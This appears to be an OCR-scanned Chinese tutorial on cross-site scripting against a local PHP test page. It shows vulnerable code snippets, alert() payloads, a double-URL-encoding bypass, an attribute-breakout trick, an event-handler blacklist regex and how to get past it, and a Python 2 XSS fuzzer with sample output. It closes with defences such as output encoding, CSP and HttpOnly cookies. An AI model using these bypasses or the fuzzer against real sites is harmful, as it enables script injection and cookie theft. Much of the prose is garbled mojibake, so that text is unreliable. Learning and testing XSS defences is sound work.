FEUERI AT (Cross Site Scripting) , AT AFIESRRZR(Cascading Style Sheets, CSS)HNAESRIE |, HUSHEILHIZA
WEFES /XSS, WebfE AU -RCRAFERIISERTISM EEmEENE , SEPRSIHRF R IR THTMLIT

HNERE2E , EEULRBZREHRITEEScriptiiE | BAFNSIZRZE , RANEFWebEEAIScriptids

WAT . NIREREREREAFER.

0x01 XSS
EREBI—EG , MAREE.
iR RS

<?php

echo $_REQUEST[ 'id' 1;
?>

MEHIES © ?id=<script>alert(/xss/)</script>

0x02 #RESAEES
IRISARMSHILEAT |, PTEESEXSSIRIBSIIRIER
iR CEERA
<?php
$a=urldecode($_GET['id']); //HEWSEHFFHITur1fERE
$b=htmlspecialchars($a); //HTML ENCODEXME, ZiXEERE&H 95

echo urldecode($b); //&fE , url f#BiEH
?>

MEHIEE © 1d=%25253Cscript%25253Ealert(/xss/)%25253C/script%25253E
XOAEEEESF | BRREETRE—ENurEREaY | SEEFE=8urlfHBRsIER.
RIBSCRRIEN | A% 2N - HTML ENCODERMEFEiEMH TR,

0x03 HTMLAHE

HTMLATRREAAE | FIReSEAIEIRE , HIRE—H)

REASG) -

<?php
$name = htmlspecialchars($_GET['name']);
?>

<input type='text' class='search' value='<?=$name?>"'>

RENSE , E—NinputtZRNEMEERHXNEE | RTEIEEIXEERVRRSISHAE |, MRERARZEMN
515("), RXIRSISOMHEEX,


af://n2
af://n7
af://n14

FELE , ATLARES|ISEE |

MHIEF) : ?name=222" onclick="alert(/xxs/)

TEEW  FHTMURERREERNE IS5k,

0x04 FEZRiTiE
BEE2BE5INTIERE |, REERRTIE
IR CEERA
<?php
$name = htmlspecialchars($_GET['name']);
$pregs = "/<script>|

<\/script>|onclick|oncontextmenu|ondbTlclick|onmousedown|onmouseenter|onmouseleave|onmousemo
ve |onmouseover|onmouseout | onmouseup |onkeydown |onkeypress|onkeyup/i";

$check = preg_match($pregs, $name);
if ($check) {

echo 'not found';

exit;

?>
<input type='text' class='search' value='<?=$name?>"'>
MhtmITBERHEE , FHNILALRES ISHE | ARRHE—SWEMASH | sTRENRIXSSEHRSERITIE T |,

EAPREI AR P LAS A FBRIXSSHA S IE? & © XSS FUZZ,
AR EEWERR— LA | FIBE SRS pythonfil A Tfuzz


af://n22

E:~>xzzfuzz.py

[?7]1 Select method: [GI1ET or [PI10ST <G P>: g
Please input nrl:http: 7127 . 0.8.1-test_phpfname=111"=
Please input paraIname

[+lonabort ok

[+lonheforeunload ok

[+lonerror ok

[+lonhazshchange ok

[+lonload ok

[+lonpageshow ok

[+lonpagehide ok

[+lonresize ok

[+lonscrell ok

[+lonunlead ok

[+lonblur ok

[+lonchange ok

[+lonfocus ok

[+lonfocusin ok

[+lonfocusout ok
[+loninput ok

[+]lonreset ok
[+]onsearch ok
[+]lonselect ok
[+]onsubmit ok
[+loncopy ok

[+loncut ok

[+]lonpaste ok
[+lonafterprint ok
[+lonbheforeprint ok
[+londrag ok
[+londragend ok
[+londragenter ok
[+londragleave ok
[+londragover ok
[+londragstart ok
[+londrop ok
[+lonabort ok
[+loncanplay ok
[+loncanplavthrough ok
[+londurationchange ok

BARfuZzZERREEM | BEESEMBHAEEREDT  HEIGENSH | &E&SHPayload,

MEIEE : ?name=111"' onfocus="alert(/xss/)



= Load URL  hitp://127.0.0.1/test.php?name=111" onfocus="alert{/xss/)
1 split URL
r1 Execute

Enable Post data Enable Referrer

0x05 iEiFREH
1. PHPIRH TR MEREhtmlentities(F0htmlispecialchars() , IE—LEFRE L FF4EHE HTML SEF,
BB B:

<?php
echo htmlspecialchars($_REQUEST[ 'id' 1);
7>

2, HERERrH FeHREFER

1.7EHmEBhtm1BT , J0_EContent Security PolicyHJHttp Header

(YEF : TLABSLETREI#EXS SKEERT , BRASE =75 RIMIAS 4% )

( TRPE : TESRARARTNILERSRIREASIHT )

2. fEiRECookieft , iI_EHttponTyE&#L

(YER : AILABSLETRERXSSIRRT , Cooki efSEMIEE , AT FAZEIE6 )

(ERBE : USSR SRSt EIR{ECookie , MBE/ERBIR , RESFiECookiefiLE )
3.FEFFRAPIRY , 10305 KAIReferers#f

(1ER : ATLATE—EF2E LB LECSRFING )

( ERPE - TESRMRASRINEGERS | RefererSE(mILIHINIE )

BfXSS FUZZ B :

#! /usr/bin/env python
# _*_ coding:utf-8 _*_

import requests
import urlparse
import urllib

# {EFARBR | IEREE S4 TRV BRRDRT{EA |, SIFGET, POSTEEEIEAXSSIUIE
#url 323 * 5 0 http://127.0.0.1/test.php?id=1*3333  payload&BHiR*SHA


af://n34

global result_dict
result_dict={}

def get(url,para,payload):

params={}
result=urlparse.urlparseCurl)
params=urlparse.parse_qgs(result.query,True)
if '"*' in params[para][0]:

params[para]=str(params[para] [0]).replace("*", payload);
else:

params[para]=str(params[para] [0])+payload
m_url=result.scheme+"://"+result.netloc+result.path
data = urllib.urlencode(params)
geturl = m_url+'?"'+data
response = requests.get(geturl)
result_dict[payload]=[response.content,len(response.content),response.status_code]
return result_dict

def make_get_resule(url,para):
with open('on.txt') as f:
for payload in f.xreadlines():
payload =payload.strip()
if '"#' in payload or len(payload)==0:
pass
else:
get(url,para,payload)
result_analysis(payload)

def post(url,data,para,payload):
params={}
params=urlparse.parse_qgs(data,True)
if '"*' in params[para][0]:
params[para]=str(params[para] [0]).replace("*", payload);
else:
params[para]=str(params[para] [0])+payload

response = requests.post(url,data=params,timeout=5)
result_dict[payload]=[response.content, len(response.content),response.status_code]
return result_dict

def make_post_resule(url,data,para):
with open('on.txt') as f:
for payload in f.xreadlines():
payload =payload.strip()
if '"#' in payload or len(payload)==0:
pass
else:
post(url,data,para,payload)
result_analysis(payload)
def result_analysis(payload):



if payload in result_dict[payload][0]:
print "[+]" + payload +" ok"

if result_dict[payload][0].count(payload)>1:
print "[+]" + payload +" repeat"

if _name__ == '_main__":
result_dict={}
methodselect = raw_input("[?] Select method: [G]ET or [P]OST (G/P): ").lower()
if methodselect == 'g':
url = raw_input("Please input url:")
para = raw_input("Please input para:")
if 'https://' in url:
pass
elif 'http://' in url:
pass
else:
url = "http://"+url
make_get_resule(url,para)
elif methodselect == 'p':
url = raw_input("Please input url:")
data = raw_input("Please input data:")
para = raw_input("Please input para:")
if 'https://' in url:
pass
elif 'http://' in url:
pass
else:
url = "http://"+url

make_post_resule(url,data,para)

MNEBRSEHMEBRITARRS L | RIDZALAAAATEHRAILNRS —EERE— T, BRI EIE.
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